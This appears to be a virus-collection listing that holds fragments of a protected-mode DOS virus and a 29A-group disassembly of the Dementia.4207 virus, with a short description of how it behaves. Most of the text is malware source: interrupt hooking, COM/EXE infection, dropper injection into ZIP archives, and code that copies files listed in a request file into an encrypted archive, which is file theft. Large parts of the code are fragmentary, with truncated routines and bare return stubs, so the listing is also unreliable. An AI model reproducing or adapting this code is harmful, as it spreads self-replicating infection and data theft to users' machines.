db 38h
db 0
; MOV reg,xxxx :
db 23h
db 0FFh
db F_I_REG + 0
db F_G_WORD + 1
db 0B8h
db 0
db 0
; INC reg :
db 11h
db 0FFh
db F_I_REG + 0
db 40h
; IN AL,xx :
db 12h
db 0FFh
db F_G_BYTE + 1
db 0E4h
db 0
; MOV reg8,[xxxx] :
db 24h
db 0FFh
db F_I_REG_PRESERVE_MODRM + 1
db F_G_WORD + 2
db 8Ah
db 6
db 0
db 0
; NOT reg :
db 12h
db 0FFh
db F_I_REG + 1
db 0F7h
db 0D0h
; OR reg,...
db 12h
db 0FFh
db F_I_REGRMMOD + 1
db 0Ah
db 0
jmp_ofs db 0
db 0 ; Wasted byte!
garbagetogen dw 0
reg_sp db 4 ; SP register
reg_counter db 81h
indexreg_op2 db 86h
db 80h ; Wasted byte!
in_loop db 0
initialize_random_seed:
pusha
mov ah,2Ch
call int_21h ; Get current time
mov cs:random1,cx ; Hours + minutes
mov cs:random2,dx ; Seconds + hundredths of second
popa
ret
get_random:
mov ax,cs:random1
mov bx,cs:random2
mov cx,ax
mul cs:mult_const
shl cx,3
add ch,cl
add dx,cx
add dx,bx
shl bx,2
add dx,bx
add dh,bl
shl bx,5
add dh,bl
add ax,1
adc dx,0
mov cs:random1,ax
mov cs:random2,dx
ret
mult_const dw 8405h
random1 dw 0
random2 dw 0
encryptor_ptr dw offset(end_encryptor)
ofs_endencryptor dw offset(end_encryptor)
kill_copy4infection:
call set_ds
mov ax,ss
mov es,ax
mov esi,cs:page_1
mov ds:[esi+infecting],0 ; Can infect again
assume cs:data0
mov esp,cs:_esp
assume cs:wanderer
mov edi,esp
mov ecx,STACK_SIZE/4
cld
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Restore stack
push ds
pop es
xor ebp,ebp
mov esi,90h ; Restore pages allocated by infection procedure
l_restore_pages:
mov edx,cs:old_pages[ebp*4]
call map_page
inc esi ; Next 4KB
inc bp ; Next page
cmp bp,3 ; old_page1,2 and 3 restored?
jne l_restore_pages ; No? then jmp
exit_21h:
xor ax,ax
mov ds,ax
mov es,ax
popad
iretd ; Return to original caller
map_page:
mov edi,cs:pagetable
mov ebx,[edi][esi*4] ; Read page in page table
mov dl,67h
mov [edi][esi*4],edx ; Store new page in page table
mov eax,cr3
mov cr3,eax
ret
setup_system_regs:
movzx ebx,ds:virus_cs
shl ebx,4
add ebx,offset(GDTR) ; Calculate GDTR phys address
mov ds:addr_GDTR,ebx
add ebx,IDTR-GDTR ; Calculate IDTR phys address
add ds:addr_IDTR,ebx
mov cx,ds:addr_dir_page
mov es,cx
shr cx,8
mov ax,0DE06h ; VCPI - Get dir page phys addr in 1st MB
call VCPI
mov ds:_CR3,edx ; EDX = physical address of dir page
mov ax,0DE06h ; VCPI - Get phys addr of page in 1st MB
mov cx,es
shr cx,8
inc cx ; Addr of page table
call VCPI
or dl,7 ; User level, read-write, present
mov es:[0],edx ; Store page table in page directory
ret
VCPI:
int 67h ; - LIM EMS
and ah,ah ; Error or VCPI not present ?
jz no_ems_error ; No? then jmp
pop ax
jmp exec_host
no_ems_error:
ret
;
; DATA SEGMENT DESCRIPTOR
;
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º ³ ³ ³ ³A³ LIMIT ³ ³ ³ TYPE ³ º
; º BASE 31..24 ³G³B³0³V³ 19..16 ³P³ DPL ³ ³ BASE 23..16 º 4
; º ³ ³ ³L³ ³ ³ ³1³0³E³W³A³ º
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
; º ³ º
; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º 0
; º ³ º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
; EXECUTABLE SEGMENT DESCRIPTOR
;
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º ³ ³ ³ ³A³ LIMIT ³ ³ ³ TYPE ³ º
; º BASE 31..24 ³G³D³0³V³ 19..16 ³P³ DPL ³ ³ BASE 23..16 º 4
; º ³ ³ ³ ³L³ ³ ³ ³1³0³C³R³A³ º
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
; º ³ º
; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º 0
; º ³ º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
;
; DESCRIPTORS USED FOR SPECIAL SYSTEM SEGMENTS
;
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÑÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º ³ ³ ³ ³A³ ³ ³ ³ ³ ³ º
; º BASE 31..24 ³G³X³O³V³ LIMIT ³P³ DPL ³0³ TYPE ³ BASE 23..16 º 4
; º ³ ³ ³ ³L³ 19..16 ³ ³ ³ ³ ³ º
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
; º ³ º
; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º 0
; º ³ º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
;
; A - ACCESSED E - EXPAND-DOWN
; AVL - AVAILABLE FOR PROGRAMMERS USE G - GRANULARITY
; B - BIG P - SEGMENT PRESENT
; C - CONFORMING R - READABLE
; D - DEFAULT W - WRITABLE
; DPL - DESCRIPTOR PRIVILEGE LEVEL
;
; System and Gate descriptor types :
;
; Code Type of Segment or Gate
; 0 -reserved
; 1 Available 286 TSS
; 2 LDT
; 3 Busy 286 TSS
; 4 Call Gate
; 5 Task Gate
; 6 286 Interrupt Gate
; 7 286 Trap Gate
; 8 -reserved
; 9 Available 386 TSS
; A -reserved
; B Busy 386 TSS
; C 386 Call Gate
; D -reserved
; E 386 Interrupt Gate
; F 386 Trap Gate
build_descriptor:
; AX = descriptor
; CX = base address
; BX = limit
; DX = rights
movzx eax,ax
mov [esi][eax],bx ; Limit 15..0
shr ebx,10h
mov [esi+2][eax],cx ; Base 15..0
shr ecx,10h
mov [esi+4][eax],cl ; Base 23..16
mov [esi+5][eax],dl ; Type, DPL, P,...
and bl,0Fh
or dh,bl
mov [esi+6][eax],dh ; Limit 19..16, AVL, G,...
mov [esi+7][eax],ch ; Base 31..24
ret
set_breakpoints:
mov eax,cs:i21h_ep
mov dr0,eax ; Address for breakpoint 0 (int 21h)
mov eax,0FE05Bh ; BIOS address: near jump to reboot
mov dr1,eax ; Address for breakpoint 1
xor eax,eax
mov dr6,eax ; Clear dr6 (the processor never clears it)
mov eax,00000000000000000000001000001010b
; ^ ^
; 2 breakpoints (globals)
mov dr7,eax
ret
set_ds:
mov ax,cs
add ax,8
mov ds,ax
ret
build_idt_descriptor: ; On entry:
; ECX = interrupt number
; AX = address of service routine
; DI = address to store orig int & sel
mov esi,es:IDT_base ; Access to IDT
mov bx,[esi+6][ecx*8] ; Offset 31..16
shl ebx,10h
mov bx,[esi][ecx*8] ; Offset 15..0
mov es:[di],ebx ; Save original int
mov bx,[esi+2][ecx*8] ; Get selector
mov es:[di+4],bx ; Save original selector
mov bx,es:virus_selector
mov [esi+2][ecx*8],bx ; Set new selector
mov [esi][ecx*8],ax ; Set new interrupt (15..0)
mov word ptr [esi+6][ecx*8],0 ; (31..16)
ret
system_registers:
_CR3 dd 0
addr_GDTR dd 0
addr_IDTR dd 0
LDTR dw 0
TR dw TSS_SEL ; TSS selector
pm_EIP dd offset(pm_entry_point) ; Protected mode EIP
pm_CS dw CODE_SEL ; Protected mode CS selector
GDTR:
limit_gdt dw 47h
base_gdt dd 0
IDTR:
limit_idt dw 0FFFFh
base_idt dd 0
host_type db 0
codesegment dw 0
pm_ep dd 0
dw VCPICS_SEL
virus_end:
size_mcb dw ?
orig_i1 dd ?
sel_i1 dw ?
orig_i9 dd ?
sel_i9 dw ?
i21h_ep dd ?
virus_cs dw ?
virus_selector dw ?
pages_4K:
page_1 dd ?
page_2 dd ?
page_3 dd ?
page_4 dd ?
old_pages dd ?
old_page2 dd ?
old_page3 dd ?
addr_dir_page dw ?
infecting db ?
pagetable dd ?
GDT:
GDT_limit dw ?
GDT_base dd ?
IDT:
IDT_limit dw ?
IDT_base dd ?
org 1000h
BUFFER_SIZE = 1000h
_stack:
buffer1:
db BUFFER_SIZE dup(?)
buffer2:
header:
signature dw ?
image_size dw ?
pages dw ?
relo_items dw ?
header_size dw ?
mim_mem dw ?
max_mem dw ?
stack_seg dw ?
stack_ofs dw ?
checksum dw ?
val_ip dw ?
val_cs dw ?
ofs_reloc dw ?
overlays dw ?
wanderer ends
org 0F0h
copy_code = $
data0 ends
end start
!#TEMP#!
REQUEST.IVA
RECEIPT.IVA
CALLFAST.COM
*.*
Dementia] Copyright 1993 Necrosoft enterprises - All rights reserved
I am the man that walks alone
And when I'm walking a dark road
At night or strolling through the park
When the light begins to change
I sometimes feel a little strange
A little anxious when it's dark
While opening any ZIP file the virus scans the contents of the ZIP file for
the REQUEST.IVA file. If there is no such one inside of ZIP, the virus
creates the CALLFAST.COM file, writes into there the video-effect routine,
infects CALLFAST.COM and appends that file to the files stored in ZIP.
So the virus "infects" ZIP file, after "infection" the ZIP file contains
infected copy of the virus.
If there is the REQUEST.IVA file in the ZIP, and that file is of the special
format (there is ID-string 92h,14h,76h,17h, and there is one or more file
search pattern) the virus creates RECEIPT.IVA file, searches for the files
are listed in the REQUEST.IVA file, copies them into RECEIPT.IVA, encrypts
the result, and stores it into the ZIP.
So the virus is able to "stole" the files from the computer and save them
into the ZIP containing special REQUEST.IVA file.
While processing the ZIP files the virus does not call PKZIP/PKUNZIP
utilities, but parses by itself the internal ZIP format, reads/writes the
ZIP records and adds new ones. While writing new data into the ZIP files the
virus does not use compression, but writes it in not compressed form (ZIP
method "stored").
The virus dropper (the CALLFAST.COM file) contains the routine witch
displays when executed:
DEMENTIA
(512)PRI-VATE ú 0 day wares ú V-X
800 megs online ú USR Dual 16.8k
-\- Psychotech <Image> -/-
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ
comment *
Dementia.4207
Disassembly by
Darkman/29A
.model tiny
.code
code_begin:
call delta_offset
delta_offset:
pop si ; Load SI from stack
add si,(crypt_begin-delta_offset-02h)
mov di,si ; DI = offset of code_end - 02h
jmp crypt_end
crypt_end:
loop decrypt_loop
call install
virus_exit:
mov ah,[com_or_exe] ; AH = COM or EXE executable?
cmp ah,00h ; COM executable?
nop
je vir_com_exit ; Equal? Jump to vir_com_exit
mov ax,[code_seg_] ; AX = code segment
mov bx,[initial_cs] ; AX = initial CS relative to star...
sub ax,bx ; Subtract initial CS relative to ...
mov dx,ax ; DX = segment of PSP for current ...
call inf_com_exe
jmp open_fi_exit
tst_exe_exec:
cmp al,'E' ; EXE executable?
jne tst_zip_arch ; Not equal? Jump to tst_zip_arch
call inf_com_exe
jmp open_fi_exit
tst_zip_arch:
cmp al,'Z' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call infect_zip
jmp open_fi_exit
open_fi_exit:
pop si ax ; Load registers from stack
jmp tst_load_and
dementia_fun:
mov al,02h ; Dementia.4207 function
tst_load_and:
cmp ah,4bh ; Load and/or execute program?
jne int21_exit ; Not equal? Jump to int21_exit
call inf_com_exe
int21_exit:
popf ; Load flags from stack
jmp cs:[int21_addr]
endp
jmp next_mcb
allocate_mem:
mov bx,ds:[03h] ; BX = size of memory block in par...
sub bx,(code_end-code_begin+0fh)/10h*02h
mov ds:[03h],bx ; Store new size of memory control...
ret ; Return!
endp
push ax bx cx dx si di ds es
call int24_store
call open_file
jc com_exe_exit ; Error? Jump to com_exe_exit
call load_info
and cx,0000000000011111b
cmp cx,0000000000000001b
je call_close ; Already infected? Jump to call_c...
call infect_com
jmp call_mark
call_infect:
call infect_exe
call_mark:
call infect_mark
call_close:
call close_file
com_exe_exit:
call int24_load
pop es ds di si dx cx bx ax
ret ; Return!
endp
push ax bx cx dx si di ds es
call int24_store
call open_file
jnc load_info_ ; No error? Jump to load_info_
jmp inf_zip_exit
load_info_:
mov [bp-08h],ax ; Store file handle of ZIP file
call load_info
jmp call_mark_
test_dir_sig:
mov ax,ds:[02h] ; AX = high-order word of file hea...
cmp ax,201h ; Found high-order word of central...
jne read_lfh ; Not equal? Jump to read_lfh
jmp zero_cdh_num
read_lfh:
mov cx,1ah ; Read twenty-six bytes
call read_file
jmp request_loop
found_reques:
mov ax,01h ; Found REQUEST.IVA
mov [bp-10h],ax ; Store found REQUEST.IVA
jmp callfas_loop
found_callfa:
mov ax,01h ; Found CALLFAST.COM
mov [bp-0eh],ax ; Store found CALLFAST.COM
find_receipt:
lea di,receipt_iva ; DI = offset of receipt_iva
nop
mov si,20h ; SI = offset of filename
receipt_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of receipt_iva
jmp receipt_loop
found_receip:
mov ax,01h ; Found RECEIPT.IVA
mov [bp-12h],ax ; Store found RECEIPT.IVA
calc_lfh_ptr:
mov dx,ds:[0eh] ; DX = low-order word of compresse...
mov cx,ds:[10h] ; CX = high-order word of compress...
mov ax,ds:[18h] ; AX = extra field length
add dx,ax ; Add extra field length to compre...
adc cx,00h ; Convert to 32-bit
call set_pos_cfp
jmp next_lfh_sig
zero_cdh_num:
xor ax,ax ; No central directory file header...
mov [bp-0ch],ax ; Store no central directory file ...
copy_cds:
mov ax,[bp-0ch] ; AX = number of central directory...
inc ax ; Increase number of central direc...
mov [bp-0ch],ax ; Store number of central director...
jmp call_mark_
test_eoc_sig:
mov ax,ds:[02h] ; AX = high-order word of end of c...
cmp ax,605h ; Found high-order word of end of ...
je copy_eocds ; Equal? Jump to read_oecds
jmp copy_cds
copy_eocds:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,12h ; Read eightteen bytes
call read_file
jmp test_receipt
test_callfas:
mov ax,[bp-0eh] ; AX = found CALLFAST.COM
or ax,ax ; Didn't found CALLFAST.COM
jz create_file_ ; Zero? Jump to create_file_
jmp call_mark_
create_file_:
lea dx,callfast_com ; DX = offset of callfast_com
nop
call create_file
mov [bp-14h],ax ; Store file handle of CALLFAST.COM
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
mov cx,(file_end-file_begin)
nop
lea dx,file_begin ; DX = offset of file_begin
nop
call write_file_
call close_file
mov ax,01h ; Don't test filesize
mov [tst_filesize],ax ; Store don't test filesize
call set_pos_eof
mov [bp-1ch],ax ; Store low-order word of filesize
mov [bp-1ah],dx ; Store high-order word of filesize
call calc_crc32
mov [bp-20h],ax ; Store low-order word of CRC-32 c...
mov [bp-1eh],dx ; Store high-order word of CRC-32 ...
jmp copy_callfas
copy_cds_:
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call set_pos_sof
cpy_cds_loop:
mov ax,[bp-0ch] ; AX = number of central directory...
cmp ax,00h ; No central directory file header?
je wrt_last_cds ; Equal? Jump to write_last_cds
jmp cpy_cds_loop
wrt_last_cds:
mov ax,0ah ; AX = version made by (version 1....
mov ds:[04h],ax ; Store version made by (version 1...
mov ds:[06h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[08h],ax ; Store general purpose bit flag
mov ds:[0ah],ax ; Store compression method (the fil...
mov ax,3021h ; AX = last modified file time
mov ds:[0ch],ax ; Store last modified file time
mov ax,1ae1h ; AX = last modified file date
mov ds:[0eh],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[10h],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[12h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[14h],ax ; Store low-order word of compress...
mov ds:[18h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[16h],ax ; Store high-order word of compres...
mov ds:[1ah],ax ; Store high-order word of compres...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ch],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length, file co...
mov ds:[1eh],ax ; Store extra field length (0 bytes)
mov ds:[20h],ax ; Store file comment length (0 bytes)
mov ds:[22h],ax ; Store disk number start (0 bytes)
mov ds:[24h],ax ; Store internal file attributes
mov ds:[26h],ax ; Store low-order word of external...
mov ds:[28h],ax ; Store high-order word of externa...
mov ax,[bp-18h] ; AX = low-order word of offset of...
mov ds:[2ah],ax ; Store low-order word of relative...
mov ax,[bp-16h] ; AX = high-order word of offset o...
mov ds:[2ch],ax ; Store high-order word of relativ...
jmp call_mark_
test_receipt:
mov ax,[bp-12h] ; AX = found RECEIPT.IVA
or ax,ax ; Didn't found RECEIPT.IVA
jz exam_extra ; Zero? Jump to exam_extra
jmp call_mark_
exam_extra:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-22h] ; CX = high-order word of extra field
mov dx,[bp-24h] ; DX = low-order word of extra field
call set_pos_sof_
jmp call_mark_
comp_extra:
lodsw ; AX = word of extra field
cmp ax,1776h ; Found infection mark?
je load_extra ; Equal? Jump to load_extra
jmp call_mark_
load_extra:
lodsw ; AX = 16-bit decryption key
mov dx,ax ; DX = " " "
lodsb ; AL = number of file specifications
loop decrypt_spec
loop decrypt_next
jmp encrypt_rece
set_dta_addr:
call close_file
jmp open_filenam
call_mark_:
mov bx,[bp-08h] ; BX = file handle of ZIP file
call infect_mark
pop es ds di si dx cx bx ax
ret ; Return!
endp
call encrypt_copy
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize
call write_file_
mov cx,(code_end-code_begin)
call write_file
call set_pos_sof
ret ; Return!
endp
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize
and ax,0000000000001111b
mov cx,10h ; CX = number of bytes to add to f...
sub cx,ax ; CX = " " " " " " "
call write_file_
jmp inf_exe_exit
calc_ins_ptr:
mov cl,0ch
shl ax,cl ; Multiply by sixty-five thousand ...
add ax,(code_end-code_begin+0fh)/10h
jae store_stack ; Above or equal? Jump to store_stack
jmp inf_exe_exit
store_stack:
mov ds:[0eh],ax ; Store initial SS relative to sta...
mov ax,100h ; AX = initial SP
mov ds:[10h],ax ; Store initial SP
mov cl,07h
shl dx,cl ; Multiply by one hundred and twen...
push ax ; Save AX at stack
mov cl,09h ; Divide by pages
shr ax,cl ; AX = low-order word of pointer t...
add dx,ax ; DX = number of bytes on last 512...
pop ax ; Load AX from stack
and ax,0000000000011111b
jz store_pages ; Zero? Jump to store_pages
jmp store_pages_
store_pages:
mov ax,200h ; AX = total number of 512-bytes p...
store_pages_:
mov ds:[02h],ax ; Store total number of 512-bytes ...
mov ds:[04h],dx ; Store number of bytes on last 51...
call set_pos_sof
call set_pos_eof
call encrypt_copy
mov cx,(code_end-code_begin)
call write_file
inf_exe_exit:
mov sp,bp ; SP = stack pointer
ret ; Return!
endp
loop encrypt_loop
ret ; Return!
endp
ret ; Return!
endp
call set_pos_sof
loop cal_crc_loop
jmp read_block
calc_crc_xit:
pop dx ax ; Load registers from stack
ret ; Return!
endp
jmp fnd_nxt_loop
find_next_:
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
jmp copy_file
call_fnd_nxt:
mov bx,[bp-12h] ; BX = file handle of file within ...
call close_file
call find_next
jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop
jmp find_next_
fnd_nxt_loop:
pop dx cx ; Load registers from stack
jmp find_first_
copy_name:
xor cx,cx ; Zero CX
find_first__:
push cx ; Save CX at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
jmp test_count
found_dir:
push cx ; Save CX at stack
call find_next
jc receipt_exit ; Error? Jump to receipt_exit
dec cx ; Decrease CX
jmp test_count
examine_dta:
pop cx ; Load CX from stack
inc cx ; Increase count register
jmp copy_name_
store_zero:
mov dx,di ; DX = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero
int 21h
jmp find_first__
receipt_exit:
pop cx ; Load CX from stack
receip_exit:
mov sp,bp ; SP = stack pointer
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
endp
ret ; Return!
endp
ret ; Return!
endp
endp
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
endp
ret ; Return!
endp
file_begin:
mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "
nop
load_gfx:
lodsb ; AL = byte of gfx_begin
cmp al,0ffh ; Write a string?
jne store_gfx ; Not equal? Jump to store_gfx
jmp dont_sto_gfx
nop
store_gfx:
stosb ; Store a byte of gfx_begin
dont_sto_gfx:
loop load_gfx
int 20h
gfx_begin db 20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh
db 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch
db 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h
db 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h
db 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h
db 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh
db 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h
db 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h
db 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h
db 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h
db 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h
db 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h
db 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh
db 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h
db 3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h
db 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h
db 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h
db 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh
db 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh
db 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h
db 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh
db 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h
db 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh
db 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h
db 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh
db 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h
db 05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h
db 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h
db 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch
db 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h
db 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh
db 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h
db 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h
db 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h
db 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h
db 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h
db 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h
db 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh
db 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h
db 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h
db 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h
db 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh
db 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah
db 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h
db 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h
db 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h
db 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh
db 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh
db 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh
db 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch
db 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h
db 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h
db 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h
db 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah
db 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h
db 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh
db 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h
db 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h
db 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh
db 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h
db 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h
db 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h
db 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h
db 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h
db 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h
db 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh
db 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh
